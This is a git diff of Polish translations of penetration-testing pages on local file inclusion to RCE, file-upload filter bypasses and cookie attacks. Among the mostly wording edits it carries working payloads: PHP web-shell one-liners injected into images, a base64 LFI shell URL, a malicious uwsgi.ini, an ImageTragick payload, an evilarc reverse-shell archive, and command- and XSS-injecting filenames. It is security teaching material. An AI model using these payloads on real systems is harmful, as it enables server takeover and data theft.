### Via /proc/self/environ
@ -513,7 +513,7 @@ Logi dla serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenar
### Via php base64 filter (using base64)
Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, filtr PHP base64 po prostu ignoruje Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", po prostu zignoruje "." i doda "php" do base64. Oto przykład ładunku:
Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, filtr PHP base64 po prostu ignoruje Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", po prostu zignoruje "." i doda "php" do base64. Oto przykład ładunku:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku.
Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej zawartości** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do dołączenia **bez potrzeby zapisywania** go w pliku.
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Prześlij** plik, który zostanie zapisany jako **tymczasowy** w `/tmp`, a następnie w **tej samej prośbie** wywołaj **błąd segmentacji**, a następnie **tymczasowy plik nie zostanie usunięty** i możesz go wyszukać.
**Prześlij** plik, który zostanie zapisany jako **tymczasowy** w `/tmp`, następnie w **tej samej prośbie** wywołaj **błąd segmentacji**, a następnie **tymczasowy plik nie zostanie usunięty** i możesz go wyszukać.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE:
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla ciebie**. Możesz to wykorzystać, aby uzyskać RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Jeśli możesz nadużyć LFI, aby **przesłać pliki tymczasowe** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz wtedy **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy:
Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz wtedy **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy:
{{#ref}}
lfi2rce-via-eternal-waiting.md

View File

@ -31,7 +31,7 @@ Inne przydatne rozszerzenia:
- _file._
- _file.php...._
- _file.pHp5...._
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieci** danych (**null** bajtów) między rozszerzeniami. _Możesz również użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieci** danych (**bajty** null) między rozszerzeniami. _Możesz również użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,9 +43,9 @@ Inne przydatne rozszerzenia:
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** będzie wykonywać kod):
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **_**.php**_**, ale** niekoniecznie kończące się na .php** wykona kod):
- _ex: file.php.png_
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia niepustych plików. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do ominięcia dalszych ograniczeń (np. “file.asp::$data.”)
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
```
@ -67,11 +67,11 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Inne sztuczki do sprawdzenia
@ -98,7 +98,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane t
## **Jetty RCE**
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazie, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,7 +106,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane na serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
```ini
@ -133,7 +133,7 @@ Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W
## **wget File Upload/SSRF Trick**
W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\
Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
Maksymalna długość **nazwy pliku** w **linuxie** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -167,20 +167,20 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
- Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć XSS
- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięcia poleceń tutaj](../command-injection.md))
- [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
- Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
- [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Jeśli możesz **wskazać serwerowi internetowemu, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
- Jeśli możesz **wskazać serwerowi WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
- [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
- Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus**
- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** podczas przesyłania plików
Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS przechowywane / SSRF / XXE
@ -188,7 +188,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
4. **CSV**: wstrzyknięcie CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : wstrzyknięcie HTML / XSS / otwarte przekierowanie
7. **HTML / JS** : wstrzyknięcie HTML / XSS / Open redirect
8. **PNG / JPEG**: atak pixel flood (DoS)
9. **ZIP**: RCE przez LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
@ -199,7 +199,7 @@ Oto lista 10 rzeczy, które możesz osiągnąć poprzez przesyłanie (z [tutaj](
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magiczne bajty nagłówka
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonywaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany:
```python
@ -231,7 +231,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest celowanie w plik taki jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
Poniżej znajduje się przykład kodu Python używanego do tworzenia złośliwego pliku zip:
```python
#!/usr/bin/python
import zipfile
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać lukę **(ImageMagick , 7.0.1-1)** (z [exploit](https://www.exploit-db.com/exploits/39767))
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać lukę **(ImageMagick , 7.0.1-1)** (z [eksploitu](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -297,7 +297,7 @@ Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
## Pliki poliglotowe
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie są ograniczone do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.

View File

@ -6,17 +6,17 @@
Ciasteczka mają kilka atrybutów, które kontrolują ich zachowanie w przeglądarce użytkownika. Oto przegląd tych atrybutów w bardziej pasywnej formie:
### Wygasa i Max-Age
### Expires i Max-Age
Data wygaśnięcia ciasteczka jest określona przez atrybut `Expires`. Z kolei atrybut `Max-age` definiuje czas w sekundach, po którym ciasteczko zostanie usunięte. **Wybierz `Max-age`, ponieważ odzwierciedla to nowocześniejsze praktyki.**
Data wygaśnięcia ciasteczka jest określona przez atrybut `Expires`. Z kolei atrybut `Max-age` definiuje czas w sekundach, po którym ciasteczko zostanie usunięte. **Wybierz `Max-age`, ponieważ odzwierciedla to bardziej nowoczesne praktyki.**
### Domeny
### Domain
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest to ustawione na hosta, który wydał ciasteczko, nie uwzględniając jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
Hosty, które mają otrzymać ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest on ustawiony na hosta, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest wyraźnie ustawiony, obejmuje również subdomeny. To sprawia, że specyfikacja atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w scenariuszach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
### Ścieżka
### Path
Specyficzna ścieżka URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany, jest wskazana przez atrybut `Path`. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
Atrybut `Path` wskazuje konkretną ścieżkę URL, która musi być obecna w żądanym URL, aby nagłówek `Cookie` został wysłany. Atrybut ten traktuje znak `/` jako separator katalogów, co pozwala na dopasowania w podkatalogach.
### Zasady porządkowania
@ -38,16 +38,16 @@ Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów mo
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Formularz GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Formularz POST | \<form method="POST" action="..."> | NotSet\*, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Obraz | \<img src="..."> | NetSet\*, None |
| Obraz | \<img src="..."> | NetSet\*, None |
Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieco zmodyfikowana.\
Ciasteczko z atrybutem _**SameSite**_ **łagodzi ataki CSRF**, gdzie potrzebna jest zalogowana sesja.
**\*Zauważ, że od Chrome80 (luty/2019) domyślne zachowanie ciasteczka bez atrybutu cookie samesite** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
**\*Zauważ, że od Chrome80 (lut/2019) domyślne zachowanie ciasteczka bez atrybutu cookie samesite** **będzie lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Zauważ, że tymczasowo, po zastosowaniu tej zmiany, **ciasteczka bez polityki SameSite** **w Chrome będą** **traktowane jako None** przez **pierwsze 2 minuty, a następnie jako Lax dla głównych żądań POST między witrynami.**
## Flagi ciasteczek
@ -58,9 +58,9 @@ To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **Javascrip
#### **Obejścia**
- Jeśli strona **wysyła ciasteczka jako odpowiedź** na żądania (na przykład na stronie **PHPinfo**), można wykorzystać XSS, aby wysłać żądanie do tej strony i **ukraść ciasteczka** z odpowiedzi (sprawdź przykład w [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Jeśli strona **wysyła ciasteczka jako odpowiedź** na żądania (na przykład na stronie **PHPinfo**), można wykorzystać XSS, aby wysłać żądanie do tej strony i **ukraść ciasteczka** z odpowiedzi (sprawdź przykład w [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Można to obejść za pomocą **żądań TRACE** **HTTP**, ponieważ odpowiedź z serwera (jeśli ta metoda HTTP jest dostępna) odzwierciedli wysłane ciasteczka. Ta technika nazywa się **Cross-Site Tracking**.
- Ta technika jest unika przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak niektóre obejścia tego zostały znalezione w konkretnym oprogramowaniu, na przykład wysyłając `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
- Ta technika jest unika przez **nowoczesne przeglądarki, które nie pozwalają na wysyłanie żądania TRACE** z JS. Jednak w niektórych oprogramowaniach znaleziono obejścia, takie jak wysyłanie `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
- Innym sposobem jest wykorzystanie luk zero-day w przeglądarkach.
- Możliwe jest **nadpisanie ciasteczek HttpOnly** poprzez przeprowadzenie ataku Cookie Jar overflow:
@ -68,7 +68,7 @@ To uniemożliwia **klientowi** dostęp do ciasteczka (np. za pomocą **Javascrip
cookie-jar-overflow.md
{{#endref}}
- Możliwe jest użycie ataku [**Cookie Smuggling**](./#cookie-smuggling) do wykradzenia tych ciasteczek.
- Możliwe jest użycie ataku [**Cookie Smuggling**](#cookie-smuggling) do eksfiltracji tych ciasteczek.
### Secure
@ -76,20 +76,20 @@ cookie-jar-overflow.md
## Prefiksy ciasteczek
Ciasteczka z prefiksem `__Secure-` muszą być ustawione wraz z flagą `secure` z stron zabezpieczonych przez HTTPS.
Ciasteczka z prefiksem `__Secure-` muszą być ustawione wraz z flagą `secure` z stron, które są zabezpieczone przez HTTPS.
Dla ciasteczek z prefiksem `__Host-` musi być spełnionych kilka warunków:
- Muszą być ustawione z flagą `secure`.
- Muszą pochodzić z strony zabezpieczonej przez HTTPS.
- Zabrania się określania domeny, co uniemożliwia ich przesyłanie do subdomen.
- Nie mogą określać domeny, co uniemożliwia ich przesyłanie do subdomen.
- Ścieżka dla tych ciasteczek musi być ustawiona na `/`.
Ważne jest, aby zauważyć, że ciasteczka z prefiksem `__Host-` nie mogą być wysyłane do superdomen ani subdomen. To ograniczenie pomaga w izolacji ciasteczek aplikacji. Dlatego stosowanie prefiksu `__Host-` dla wszystkich ciasteczek aplikacji można uznać za dobrą praktykę w celu zwiększenia bezpieczeństwa i izolacji.
### Nadpisywanie ciasteczek
Jedną z ochron prefiksowanych ciasteczek `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parsera, na przykład dodając "=" na początku lub na końcu...:
Jedną z ochron prefiksowanych ciasteczek `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobiega to na przykład [**atakom Cookie Tossing**](cookie-tossing.md). W wykładzie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artykuł**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że możliwe było ustawienie ciasteczek z prefiksem \_\_HOST- z subdomen, oszukując parsera, na przykład, dodając "=" na początku lub na końcu...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -147,7 +147,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
